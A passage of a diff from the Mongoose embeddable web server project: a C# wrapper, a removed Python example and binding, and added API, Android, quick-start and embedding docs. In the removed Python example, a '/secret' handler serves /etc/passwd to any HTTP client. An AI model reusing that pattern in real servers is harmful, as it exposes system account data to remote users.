|
|
||||||
public Mongoose() {
|
|
||||||
ctx = mg_start();
|
|
||||||
version = mg_version();
|
|
||||||
}
|
|
||||||
|
|
||||||
~Mongoose() {
|
|
||||||
mg_stop(this.ctx);
|
|
||||||
this.ctx = IntPtr.Zero;
|
|
||||||
}
|
|
||||||
|
|
||||||
public int set_option(string option_name, string option_value) {
|
|
||||||
return mg_set_option(this.ctx, option_name, option_value);
|
|
||||||
}
|
|
||||||
|
|
||||||
public string get_option(string option_name) {
|
|
||||||
return mg_get_option(this.ctx, option_name);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void set_uri_callback(string uri_regex, MongooseCallback func) {
|
|
||||||
// Build a closure around user function. Initialize connection object there which wraps
|
|
||||||
// mg_write() and other useful methods, and then call user specified handler.
|
|
||||||
MongooseCallback2 callback = delegate(IntPtr conn, ref MongooseRequestInfo ri, IntPtr user_data) {
|
|
||||||
MongooseConnection connection = new MongooseConnection(conn, this);
|
|
||||||
func(connection, ri);
|
|
||||||
};
|
|
||||||
// store a reference to the callback so it won't be GC'ed while its over in unmanged code
|
|
||||||
delegates2 += callback;
|
|
||||||
mg_set_uri_callback(this.ctx, uri_regex, callback, IntPtr.Zero);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void set_log_callback(MongooseCallback func) {
|
|
||||||
delegates1 += func;
|
|
||||||
mg_set_log_callback(this.ctx, func);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public class MongooseConnection {
|
|
||||||
public Mongoose mongoose;
|
|
||||||
private IntPtr conn;
|
|
||||||
|
|
||||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_get_header(IntPtr ctx, string name);
|
|
||||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_get_var(IntPtr ctx, string name);
|
|
||||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_free(IntPtr ptr);
|
|
||||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] public static extern int mg_write(IntPtr conn, string data, int length);
|
|
||||||
|
|
||||||
public MongooseConnection(IntPtr conn_, Mongoose mongoose_) {
|
|
||||||
mongoose = mongoose_;
|
|
||||||
conn = conn_;
|
|
||||||
}
|
|
||||||
|
|
||||||
public string get_header(string header_name) {
|
|
||||||
return mg_get_header(this.conn, header_name);
|
|
||||||
}
|
|
||||||
|
|
||||||
public string get_var(string header_name) {
|
|
||||||
string s = mg_get_var(this.conn, header_name);
|
|
||||||
string copy = "" + s;
|
|
||||||
mg_free(Marshal.StringToHGlobalAnsi(s));
|
|
||||||
return copy;
|
|
||||||
}
|
|
||||||
|
|
||||||
public int write(string data) {
|
|
||||||
return mg_write(this.conn, data, data.Length);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,63 +0,0 @@
|
|||||||
# This is Python example on how to use Mongoose embeddable web server,
|
|
||||||
# http://code.google.com/p/mongoose
|
|
||||||
#
|
|
||||||
# Before using the mongoose module, make sure that Mongoose shared library is
|
|
||||||
# built and present in the current (or system library) directory
|
|
||||||
|
|
||||||
import mongoose
|
|
||||||
import sys
|
|
||||||
|
|
||||||
# Handle /show and /form URIs.
|
|
||||||
def EventHandler(event, conn):
|
|
||||||
info = conn.info
|
|
||||||
if event == mongoose.HTTP_ERROR:
|
|
||||||
conn.printf('%s', 'HTTP/1.0 200 OK\r\n')
|
|
||||||
conn.printf('%s', 'Content-Type: text/plain\r\n\r\n')
|
|
||||||
conn.printf('HTTP error: %d\n', info.status_code)
|
|
||||||
return True
|
|
||||||
elif event == mongoose.NEW_REQUEST and info.uri == '/show':
|
|
||||||
conn.printf('%s', 'HTTP/1.0 200 OK\r\n')
|
|
||||||
conn.printf('%s', 'Content-Type: text/plain\r\n\r\n')
|
|
||||||
conn.printf('%s %s\n', info.request_method, info.uri)
|
|
||||||
if info.request_method == 'POST':
|
|
||||||
content_len = conn.get_header('Content-Length')
|
|
||||||
post_data = conn.read(int(content_len))
|
|
||||||
my_var = conn.get_var(post_data, 'my_var')
|
|
||||||
else:
|
|
||||||
my_var = conn.get_var(info.query_string, 'my_var')
|
|
||||||
conn.printf('my_var: %s\n', my_var or '<not set>')
|
|
||||||
conn.printf('HEADERS: \n')
|
|
||||||
for header in info.http_headers[:info.num_headers]:
|
|
||||||
conn.printf(' %s: %s\n', header.name, header.value)
|
|
||||||
return True
|
|
||||||
elif event == mongoose.NEW_REQUEST and info.uri == '/form':
|
|
||||||
conn.write('HTTP/1.0 200 OK\r\n'
|
|
||||||
'Content-Type: text/html\r\n\r\n'
|
|
||||||
'Use GET: <a href="/show?my_var=hello">link</a>'
|
|
||||||
'<form action="/show" method="POST">'
|
|
||||||
'Use POST: type text and submit: '
|
|
||||||
'<input type="text" name="my_var"/>'
|
|
||||||
'<input type="submit"/>'
|
|
||||||
'</form>')
|
|
||||||
return True
|
|
||||||
elif event == mongoose.NEW_REQUEST and info.uri == '/secret':
|
|
||||||
conn.send_file('/etc/passwd')
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
|
|
||||||
# Create mongoose object, and register '/foo' URI handler
|
|
||||||
# List of options may be specified in the contructor
|
|
||||||
server = mongoose.Mongoose(EventHandler,
|
|
||||||
document_root='/tmp',
|
|
||||||
listening_ports='8080')
|
|
||||||
|
|
||||||
print ('Mongoose started on port %s, press enter to quit'
|
|
||||||
% server.get_option('listening_ports'))
|
|
||||||
|
|
||||||
sys.stdin.read(1)
|
|
||||||
|
|
||||||
# Deleting server object stops all serving threads
|
|
||||||
print 'Stopping server.'
|
|
||||||
del server
|
|
||||||
@@ -1,160 +0,0 @@
|
|||||||
# Copyright (c) 2004-2009 Sergey Lyubka
|
|
||||||
#
|
|
||||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
||||||
# of this software and associated documentation files (the "Software"), to deal
|
|
||||||
# in the Software without restriction, including without limitation the rights
|
|
||||||
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
||||||
# copies of the Software, and to permit persons to whom the Software is
|
|
||||||
# furnished to do so, subject to the following conditions:
|
|
||||||
#
|
|
||||||
# The above copyright notice and this permission notice shall be included in
|
|
||||||
# all copies or substantial portions of the Software.
|
|
||||||
#
|
|
||||||
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
||||||
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
||||||
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
||||||
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
||||||
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
||||||
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
|
||||||
# THE SOFTWARE.
|
|
||||||
#
|
|
||||||
# $Id: mongoose.py 471 2009-08-30 14:30:21Z valenok $
|
|
||||||
|
|
||||||
"""
|
|
||||||
This module provides python binding for the Mongoose web server.
|
|
||||||
|
|
||||||
There are two classes defined:
|
|
||||||
|
|
||||||
Connection: - wraps all functions that accept struct mg_connection pointer
|
|
||||||
as first argument.
|
|
||||||
|
|
||||||
Mongoose: wraps all functions that accept struct mg_context pointer as
|
|
||||||
first argument.
|
|
||||||
|
|
||||||
Creating Mongoose object automatically starts server, deleting object
|
|
||||||
automatically stops it. There is no need to call mg_start() or mg_stop().
|
|
||||||
"""
|
|
||||||
|
|
||||||
|
|
||||||
import ctypes
|
|
||||||
import os
|
|
||||||
|
|
||||||
|
|
||||||
NEW_REQUEST = 0
|
|
||||||
HTTP_ERROR = 1
|
|
||||||
EVENT_LOG = 2
|
|
||||||
INIT_SSL = 3
|
|
||||||
|
|
||||||
|
|
||||||
class mg_header(ctypes.Structure):
|
|
||||||
"""A wrapper for struct mg_header."""
|
|
||||||
_fields_ = [
|
|
||||||
('name', ctypes.c_char_p),
|
|
||||||
('value', ctypes.c_char_p),
|
|
||||||
]
|
|
||||||
|
|
||||||
|
|
||||||
class mg_request_info(ctypes.Structure):
|
|
||||||
"""A wrapper for struct mg_request_info."""
|
|
||||||
_fields_ = [
|
|
||||||
('user_data', ctypes.c_char_p),
|
|
||||||
('request_method', ctypes.c_char_p),
|
|
||||||
('uri', ctypes.c_char_p),
|
|
||||||
('http_version', ctypes.c_char_p),
|
|
||||||
('query_string', ctypes.c_char_p),
|
|
||||||
('remote_user', ctypes.c_char_p),
|
|
||||||
('log_message', ctypes.c_char_p),
|
|
||||||
('remote_ip', ctypes.c_long),
|
|
||||||
('remote_port', ctypes.c_int),
|
|
||||||
('status_code', ctypes.c_int),
|
|
||||||
('is_ssl', ctypes.c_int),
|
|
||||||
('num_headers', ctypes.c_int),
|
|
||||||
('http_headers', mg_header * 64),
|
|
||||||
]
|
|
||||||
|
|
||||||
|
|
||||||
mg_callback_t = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_int, ctypes.c_void_p)
|
|
||||||
|
|
||||||
|
|
||||||
class Connection(object):
|
|
||||||
"""A wrapper class for all functions that take
|
|
||||||
struct mg_connection * as the first argument."""
|
|
||||||
|
|
||||||
def __init__(self, mongoose, connection):
|
|
||||||
self.m = mongoose
|
|
||||||
self.conn = ctypes.c_void_p(connection)
|
|
||||||
self.info = self.m.dll.mg_get_request_info(self.conn).contents
|
|
||||||
|
|
||||||
def get_header(self, name):
|
|
||||||
val = self.m.dll.mg_get_header(self.conn, name)
|
|
||||||
return ctypes.c_char_p(val).value
|
|
||||||
|
|
||||||
def get_var(self, data, name):
|
|
||||||
size = data and len(data) or 0
|
|
||||||
buf = ctypes.create_string_buffer(size)
|
|
||||||
n = self.m.dll.mg_get_var(data, size, name, buf, size)
|
|
||||||
return n >= 0 and buf or None
|
|
||||||
|
|
||||||
def printf(self, fmt, *args):
|
|
||||||
val = self.m.dll.mg_printf(self.conn, fmt, *args)
|
|
||||||
return ctypes.c_int(val).value
|
|
||||||
|
|
||||||
def write(self, data):
|
|
||||||
val = self.m.dll.mg_write(self.conn, data, len(data))
|
|
||||||
return ctypes.c_int(val).value
|
|
||||||
|
|
||||||
def read(self, size):
|
|
||||||
buf = ctypes.create_string_buffer(size)
|
|
||||||
n = self.m.dll.mg_read(self.conn, buf, size)
|
|
||||||
return n <= 0 and None or buf[:n]
|
|
||||||
|
|
||||||
def send_file(self, path):
|
|
||||||
self.m.dll.mg_send_file(self.conn, path)
|
|
||||||
|
|
||||||
|
|
||||||
class Mongoose(object):
|
|
||||||
"""A wrapper class for Mongoose shared library."""
|
|
||||||
|
|
||||||
def __init__(self, callback, **kwargs):
|
|
||||||
if os.name == 'nt':
|
|
||||||
self.dll = ctypes.WinDLL('_mongoose.dll')
|
|
||||||
else:
|
|
||||||
self.dll = ctypes.CDLL('_mongoose.so')
|
|
||||||
|
|
||||||
self.dll.mg_start.restype = ctypes.c_void_p
|
|
||||||
self.dll.mg_modify_passwords_file.restype = ctypes.c_int
|
|
||||||
self.dll.mg_read.restype = ctypes.c_int
|
|
||||||
self.dll.mg_write.restype = ctypes.c_int
|
|
||||||
self.dll.mg_printf.restype = ctypes.c_int
|
|
||||||
self.dll.mg_get_header.restype = ctypes.c_char_p
|
|
||||||
self.dll.mg_get_var.restype = ctypes.c_int
|
|
||||||
self.dll.mg_get_cookie.restype = ctypes.c_int
|
|
||||||
self.dll.mg_get_option.restype = ctypes.c_char_p
|
|
||||||
self.dll.mg_get_request_info.restype = ctypes.POINTER(mg_request_info)
|
|
||||||
|
|
||||||
if callback:
|
|
||||||
# Create a closure that will be called by the shared library.
|
|
||||||
def func(event, connection):
|
|
||||||
# Wrap connection pointer into the connection
|
|
||||||
# object and call Python callback
|
|
||||||
conn = Connection(self, connection)
|
|
||||||
return callback(event, conn) and 1 or 0
|
|
||||||
|
|
||||||
# Convert the closure into C callable object
|
|
||||||
self.callback = mg_callback_t(func)
|
|
||||||
self.callback.restype = ctypes.c_char_p
|
|
||||||
else:
|
|
||||||
self.callback = ctypes.c_void_p(0)
|
|
||||||
|
|
||||||
args = [y for x in kwargs.items() for y in x] + [None]
|
|
||||||
options = (ctypes.c_char_p * len(args))(*args)
|
|
||||||
|
|
||||||
ret = self.dll.mg_start(self.callback, 0, options)
|
|
||||||
self.ctx = ctypes.c_void_p(ret)
|
|
||||||
|
|
||||||
def __del__(self):
|
|
||||||
"""Destructor, stop Mongoose instance."""
|
|
||||||
self.dll.mg_stop(self.ctx)
|
|
||||||
|
|
||||||
def get_option(self, name):
|
|
||||||
return self.dll.mg_get_option(self.ctx, name)
|
|
||||||
+245
@@ -0,0 +1,245 @@
|
|||||||
|
# Mongoose API Reference
|
||||||
|
|
||||||
|
struct mg_server *mg_create_server(void *server_param);
|
||||||
|
|
||||||
|
Creates web server instance. Returns opaque instance pointer, or NULL if
|
||||||
|
there is not enough memory. `server_param`: Could be any pointer, or NULL.
|
||||||
|
This pointer will be passed
|
||||||
|
to the callback functions as `struct mg_connection::server_param` field.
|
||||||
|
A common use case is to pass `this` pointer of the C++ wrapper class
|
||||||
|
as `user_param`, to let the callback get the pointer to the C++ object.
|
||||||
|
|
||||||
|
Note that this function doesn't make the
|
||||||
|
server instance to serve. Serving is done by `mg_poll_server()` function.
|
||||||
|
Mongoose has single-threaded, event-driven, asynchronous, non-blocking core.
|
||||||
|
When server instance is created, it contains an information about
|
||||||
|
the configuration and the state of each connection.
|
||||||
|
Server instance is capable on listening on only one port. After creation,
|
||||||
|
`struct mg_server` has a list
|
||||||
|
of active connections and configuration parameters.
|
||||||
|
|
||||||
|
Side-effect: on UNIX, `mg_create_server()` ignores SIGPIPE signals. If custom
|
||||||
|
processing is required SIGPIPE, signal handler must be set up after
|
||||||
|
calling `mg_create_server()`.
|
||||||
|
|
||||||
|
Important: Mongoose does not install `SIGCHLD` handler. If CGI is used,
|
||||||
|
`SIGCHLD` handler must be set up to reap CGI zombie processes.
|
||||||
|
|
||||||
|
|
||||||
|
void mg_destroy_server(struct mg_server **server);
|
||||||
|
|
||||||
|
Deallocates web server instance, closes all pending connections, and makes
|
||||||
|
server pointer a NULL pointer.
|
||||||
|
|
||||||
|
const char mg_set_option(struct mg_server *server, const char *name,
|
||||||
|
const char *value);
|
||||||
|
|
||||||
|
Sets a particular server option. Note that at least one option,
|
||||||
|
`listening_port`, must be specified. To serve static files, `document_root`
|
||||||
|
must be specified too. If `document_root` option is left unset, Mongoose
|
||||||
|
will not access filesystem at all. `mg_set_option()` returns NULL if option was
|
||||||
|
set successfully, otherwise it returns human-readable error string. It is
|
||||||
|
allowed to call `mg_set_option()` by the same thread that does
|
||||||
|
`mg_poll_server()` (Mongoose thread) and change server configuration while it
|
||||||
|
is serving, in between `mg_poll_server()` calls.
|
||||||
|
|
||||||
|
void mg_poll_server(struct mg_server *server, int milliseconds);
|
||||||
|
|
||||||
|
Performs one iteration of IO loop by iterating over all
|
||||||
|
active connections, performing `select()` syscall on all sockets with a timeout
|
||||||
|
of `milliseconds`. When `select()` returns, Mongoose
|
||||||
|
does an IO for each socket that has data to be sent or received. Application
|
||||||
|
code must call `mg_poll_server()` in a loop. It is an error to have more then
|
||||||
|
one thread calling `mg_poll_server()`, `mg_set_option()` or any other function
|
||||||
|
that take `struct mg_server *` parameter. Mongoose does not
|
||||||
|
mutex-protect `struct mg_server *`, therefore only single thread
|
||||||
|
(Mongoose thread) should make Mongoose calls.
|
||||||
|
|
||||||
|
`mg_poll_server()` calls user-specified event handler when certain events
|
||||||
|
occur. Sequence of events for the accepted connection is this:
|
||||||
|
|
||||||
|
* `MG_AUTH` - Mongoose asks whether this connection is authorized. If event
|
||||||
|
handler returns `MG_FALSE`, then Mongoose does not serve the request but
|
||||||
|
sends authorization request to the client. If `MG_TRUE` is returned,
|
||||||
|
then Mongoose continues on with the request.
|
||||||
|
* `MG_REQUEST` - Mongoose asks event handler to serve the request. If
|
||||||
|
event handler serves the request by sending a reply,
|
||||||
|
it should return `MG_TRUE`. Otherwise,
|
||||||
|
it should return `MG_FALSE` which tells Mongoose that request is not
|
||||||
|
served and Mongoose should serve it. For example, event handler might
|
||||||
|
choose to serve only RESTful API requests with URIs that start with
|
||||||
|
certain prefix, and let Mongoose serve all static files.
|
||||||
|
If event handler decides to serve the request, but doesn't have
|
||||||
|
all the data at the moment, it should return `MG_MORE`. That tells
|
||||||
|
Mongoose to keep the connection open after callback returns.
|
||||||
|
|
||||||
|
`mg_connection::connection_param` pointer is a placeholder to keep
|
||||||
|
user-specific data. For example, handler could decide to open a DB
|
||||||
|
connection and store DB connection handle in `connection_param`.
|
||||||
|
* `MG_POLL` is sent to every connection on every iteration of
|
||||||
|
`mg_poll_server()`. Event handler should return `MG_FALSE` to ignore
|
||||||
|
this event. If event handler returns `MG_TRUE`, then Mongoose assumes
|
||||||
|
that event handler has finished sending data, and Mongoose will
|
||||||
|
close the connection.
|
||||||
|
* `MG_HTTP_ERROR` sent when Mongoose is about to send HTTP error back
|
||||||
|
to the client. Event handler can choose to send a reply itself, in which
|
||||||
|
case event handler must return `MG_TRUE`. Otherwise, event handler must
|
||||||
|
return `MG_FALSE`.
|
||||||
|
* `MG_CLOSE` is sent when the connection is closed. This event is used
|
||||||
|
to cleanup per-connection state stored in `connection_param`
|
||||||
|
if it was allocated. Event handler return value is ignored.
|
||||||
|
|
||||||
|
Sequence of events for the client connection is this:
|
||||||
|
|
||||||
|
* `MG_CONNECT` sent when Mongoose has connected to the remote host.
|
||||||
|
This event is sent to the connection initiated by `mg_connect()` call.
|
||||||
|
Connection status is held in `mg_connection::status_code`: if zero,
|
||||||
|
then connection was successful, otherwise connection was not established.
|
||||||
|
User should send a request upon successful connection.
|
||||||
|
Event handler should return `MG_TRUE` if connection was successful and
|
||||||
|
HTTP request has been sent. Otherwise, it should send `MG_FALSE`.
|
||||||
|
* `MG_REPLY` is sent when response has been received from the remote host.
|
||||||
|
If event handler sends another request, then it should return `MG_TRUE`.
|
||||||
|
Otherwise it should return `MG_FALSE` and Mongoose will close the connection.
|
||||||
|
* `MG_CLOSE` same as for the accepted connection.
|
||||||
|
|
||||||
|
|
||||||
|
When mongoose buffers in HTTP request and successfully parses it, it sends
|
||||||
|
`MG_REQUEST` event for GET requests immediately. For POST requests,
|
||||||
|
Mongoose delays the call until the whole POST request is buffered in memory.
|
||||||
|
POST data is available to the callback as `struct mg_connection::content`,
|
||||||
|
and POST data length is in `struct mg_connection::content_len`.
|
||||||
|
|
||||||
|
Note that websocket connections are treated the same way. Mongoose buffers
|
||||||
|
websocket frame in memory, and calls event handler when frame is fully
|
||||||
|
buffered. Frame data is available `struct mg_connection::content`, and
|
||||||
|
data length is in `struct mg_connection::content_len`, i.e. very similar to
|
||||||
|
the POST request. `struct mg_connection::is_websocket` flag indicates
|
||||||
|
whether the request is websocket or not. Also, for websocket requests,
|
||||||
|
there is `struct mg_connection::wsbits` field which contains first byte
|
||||||
|
of the websocket frame which URI handler can examine. Note that to
|
||||||
|
reply to the websocket client, `mg_websocket_write()` should be used.
|
||||||
|
To reply to the plain HTTP client, `mg_write_data()` should be used.
|
||||||
|
|
||||||
|
|
||||||
|
const char **mg_get_valid_option_names(void);
|
||||||
|
|
||||||
|
Returns a NULL-terminated array of option names and their default values.
|
||||||
|
There are two entries per option in an array: an option name followed by a
|
||||||
|
default value. A default value could be NULL. A NULL name indicates an end
|
||||||
|
of the array.
|
||||||
|
|
||||||
|
const char *mg_get_option(const struct mg_server *server, const char *name);
|
||||||
|
|
||||||
|
Returns the value of particular configuration parameter. If
|
||||||
|
given parameter name is not valid, NULL is returned. For valid names, return
|
||||||
|
value is guaranteed to be non-NULL. If parameter is not set, zero-length string
|
||||||
|
is returned.
|
||||||
|
|
||||||
|
void mg_wakeup_server_ex(struct mg_server *, mg_handler_t func,
|
||||||
|
const char *fmt, ...);
|
||||||
|
|
||||||
|
Sends string message to a server. Function `func` is called for every active
|
||||||
|
connection. String message is passed in `struct mg_connection::callback_param`.
|
||||||
|
This function is designed to push data to the connected clients, and
|
||||||
|
can be called from any thread. There is a limitation on the length of
|
||||||
|
the message, currently at 8 kilobytes.
|
||||||
|
|
||||||
|
void mg_send_status(struct mg_connection *, int status_code);
|
||||||
|
void mg_send_header(struct mg_connection *, const char *name,
|
||||||
|
const char *value);
|
||||||
|
void mg_send_data(struct mg_connection *, const void *data, int data_len);
|
||||||
|
void mg_printf_data(struct mg_connection *, const char *format, ...);
|
||||||
|
|
||||||
|
These functions are used to construct a response to the client. HTTP response
|
||||||
|
consists of three parts: a status line, zero or more HTTP headers,
|
||||||
|
a response body. Mongoose provides functions for all three parts:
|
||||||
|
* `mg_send_status()` is used to create status line. This function can be
|
||||||
|
called zero or once. If `mg_send_status()` is not called, then Mongoose
|
||||||
|
will send status 200 (success) implicitly.
|
||||||
|
* `mg_send_header()` adds HTTP header to the response. This function could
|
||||||
|
be called zero or more times.
|
||||||
|
* `mg_send_data()` and `mg_printf_data()` are used to send data to the
|
||||||
|
client. Note that Mongoose adds `Transfer-Encoding: chunked` header
|
||||||
|
implicitly, and sends data in chunks. Therefore, it is not necessary to
|
||||||
|
set `Content-Length` header. Note that `mg_send_data()` and
|
||||||
|
`mg_printf_data()` do not send data immediately. Instead, they spool
|
||||||
|
data in memory, and Mongoose sends that data later after URI handler
|
||||||
|
returns. If data to be sent is huge, an URI handler might
|
||||||
|
send data in pieces by saving state in
|
||||||
|
`struct mg_connection::connection_param` variable and returning `0`. Then
|
||||||
|
Mongoose will call a handler repeatedly after each socket write.
|
||||||
|
|
||||||
|
<!-- -->
|
||||||
|
|
||||||
|
void mg_send_file(struct mg_connection *, const char *path);
|
||||||
|
|
||||||
|
Tells Mongoose to serve given file. Mongoose handles file according to
|
||||||
|
it's extensions, i.e. Mongoose will invoke CGI script if `path` has CGI
|
||||||
|
extension, it'll render SSI file if `path` has SSI extension, etc. If `path`
|
||||||
|
points to a directory, Mongoose will show directory listing. If this function
|
||||||
|
is used, no calls to `mg_send*` or `mg_printf*` functions must be made, and
|
||||||
|
event handler must return `MG_MORE`.
|
||||||
|
|
||||||
|
int mg_websocket_write(struct mg_connection* conn, int opcode,
|
||||||
|
const char *data, size_t data_len);
|
||||||
|
|
||||||
|
Similar to `mg_write()`, but wraps the data into a websocket frame with a
|
||||||
|
given websocket `opcode`.
|
||||||
|
|
||||||
|
const char *mg_get_header(const struct mg_connection *, const char *name);
|
||||||
|
|
||||||
|
Get the value of particular HTTP header. This is a helper function.
|
||||||
|
It traverses http_headers array, and if the header is present in the array,
|
||||||
|
returns its value. If it is not present, NULL is returned.
|
||||||
|
|
||||||
|
|
||||||
|
int mg_get_var(const struct mg_connection *conn, const char *var_name,
|
||||||
|
char *buf, size_t buf_len);
|
||||||
|
|
||||||
|
Gets HTTP form variable. Both POST buffer and query string are inspected.
|
||||||
|
Form variable is url-decoded and written to the buffer. On success, this
|
||||||
|
function returns the length of decoded variable. On error, -1 is returned if
|
||||||
|
variable not found, and -2 is returned if destination buffer is too small
|
||||||
|
to hold the variable. Destination buffer is guaranteed to be
|
||||||
|
'\0' - terminated if it is not NULL or zero length.
|
||||||
|
|
||||||
|
int mg_parse_header(const char *hdr, const char *var_name, char *buf,
|
||||||
|
size_t buf_size);
|
||||||
|
|
||||||
|
This function parses HTTP header and fetches given variable's value in a buffer.
|
||||||
|
A header should be like `x=123, y=345, z="other value"`. This function is
|
||||||
|
designed to parse Cookie headers, Authorization headers, and similar. Returns
|
||||||
|
the length of the fetched value, or 0 if variable not found.
|
||||||
|
|
||||||
|
int mg_modify_passwords_file(const char *passwords_file_name,
|
||||||
|
const char *domain,
|
||||||
|
const char *user,
|
||||||
|
const char *password);
|
||||||
|
|
||||||
|
Add, edit or delete the entry in the passwords file.
|
||||||
|
This function allows an application to manipulate .htpasswd files on the
|
||||||
|
fly by adding, deleting and changing user records. This is one of the
|
||||||
|
several ways of implementing authentication on the server side. For another,
|
||||||
|
cookie-based way please refer to the examples/chat.c in the source tree.
|
||||||
|
If password is not NULL, entry is added (or modified if already exists).
|
||||||
|
If password is NULL, entry is deleted.
|
||||||
|
Return: 1 on success, 0 on error.
|
||||||
|
|
||||||
|
|
||||||
|
int mg_parse_multipart(const char *buf, int buf_len,
|
||||||
|
char *var_name, int var_name_len,
|
||||||
|
char *file_name, int file_name_len,
|
||||||
|
const char **data, int *data_len);
|
||||||
|
|
||||||
|
Parses a buffer that contains multipart form data. Stores chunk name
|
||||||
|
in a `var_name` buffer. If chunk is an uploaded file, then `file_name`
|
||||||
|
will have a file name. `data` and `data_len` will point to the chunk data.
|
||||||
|
Returns number of bytes to skip to the next chunk.
|
||||||
|
|
||||||
|
struct mg_connection *mg_connect(struct mg_server *server,
|
||||||
|
const char *host, int port, int use_ssl);
|
||||||
|
|
||||||
|
Create connection to the remote host. Returns `NULL` on error, non-null
|
||||||
|
if the connection has been scheduled for connection. Upon a connection,
|
||||||
|
Mongoose will send `MG_CONNECT` event to the event handler.
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
# Mongoose Build on Android
|
||||||
|
|
||||||
|
This is a small guide to help you run mongoose on Android. Currently it is
|
||||||
|
tested on the HTC Wildfire. If you have managed to run it on other devices
|
||||||
|
as well, please comment or drop an email in the mailing list.
|
||||||
|
Note : You dont need root access to run mongoose on Android.
|
||||||
|
|
||||||
|
- Clone Mongoose Git repo
|
||||||
|
- Download the Android NDK from [http://developer.android.com/tools/sdk/ndk/index.html](http://developer.android.com/tools/sdk/ndk/index.html)
|
||||||
|
- Run `/path-to-ndk/ndk-build -C /path-to-mongoose/examples`
|
||||||
|
That should generate mongoose/lib/armeabi/mongoose
|
||||||
|
- Using the adb tool (you need to have Android SDK installed for that),
|
||||||
|
push the generated mongoose binary to `/data/local` folder on device.
|
||||||
|
- From adb shell, navigate to `/data/local` and execute `./mongoose`.
|
||||||
|
- To test if the server is running fine, visit your web-browser and
|
||||||
|
navigate to `http://127.0.0.1:8080` You should see the `Index of /` page.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
|
||||||
|
- `jni` stands for Java Native Interface. Read up on Android NDK if you want
|
||||||
|
to know how to interact with the native C functions of mongoose in Android
|
||||||
|
Java applications.
|
||||||
|
- TODO: A Java application that interacts with the native binary or a
|
||||||
|
shared library.
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
How To Create Basic Website With Mongoose
|
||||||
|
===========================================
|
||||||
|
|
||||||
|
## 1. Create a directory which will contain your website files. For example, on drive `C:\`, create a directory called `my_website`:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 2. Inside `my_website` directory, create a new file called "index". This will be the default web page shown when the website is visited.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 3. Open index file with your favorite editor (for example, Notepad) and enter some HTML code:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 4. Save this file as `index.html`:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
## 5. Download Mongoose executable from http://cesanta.com/mongoose.shtml and copy the executable inside `my_website` directory:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 6. Double-click mongoose executable. An icon will appear on a system tray in the bottom right corner of the desktop:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 7. Click on the mongoose icon and choose "Go to my address" menu:
|
||||||
|

|
||||||
|
|
||||||
|
## 8. A browser will popup displaying `index.html` file. Now, you can expand your website by adding more content.
|
||||||
|
|
||||||
|

|
||||||
+179
@@ -0,0 +1,179 @@
|
|||||||
|
# Mongoose Embedding Guide
|
||||||
|
|
||||||
|
Embedding Mongoose is done in two steps:
|
||||||
|
|
||||||
|
1. Copy
|
||||||
|
[mongoose.c](https://raw.github.com/cesanta/mongoose/master/mongoose.c) and
|
||||||
|
[mongoose.h](https://raw.github.com/cesanta/mongoose/master/mongoose.h)
|
||||||
|
to your application's source tree and include them in the build.
|
||||||
|
2. Somewhere in the application code, call `mg_create_server()` to create
|
||||||
|
a server, configure it with `mg_set_option()` and loop with
|
||||||
|
`mg_poll_server()` until done. Call `mg_destroy_server()` to cleanup.
|
||||||
|
|
||||||
|
Here's a minimal application `app.c` that embeds mongoose:
|
||||||
|
|
||||||
|
#include "mongoose.h"
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
struct mg_server *server = mg_create_server(NULL, NULL);
|
||||||
|
mg_set_option(server, "document_root", "."); // Serve current directory
|
||||||
|
mg_set_option(server, "listening_port", "8080"); // Open port 8080
|
||||||
|
|
||||||
|
for (;;) {
|
||||||
|
mg_poll_server(server, 1000); // Infinite loop, Ctrl-C to stop
|
||||||
|
}
|
||||||
|
mg_destroy_server(&server);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
To compile it, put `mongoose.c`, `mongoose.h` and `app.c` into one
|
||||||
|
folder, start terminal on UNIX or Visual Studio command line prompt on Windows,
|
||||||
|
and run the following command:
|
||||||
|
|
||||||
|
cc app.c mongoose.c -pthread -o app # on Unix
|
||||||
|
cl.exe app.c mongoose.c /TC /MD # on Windows
|
||||||
|
|
||||||
|
When run, this simple application opens port 8080 and serves static files,
|
||||||
|
CGI files and lists directory content in the current working directory.
|
||||||
|
|
||||||
|
It is possible to generate HTML page content. Mongoose can call user-defined
|
||||||
|
function when certain events occur.
|
||||||
|
That function is called _an event handler_, and it is the second parameter
|
||||||
|
to `mg_create_server()` function. Here is the example event handler function:
|
||||||
|
|
||||||
|
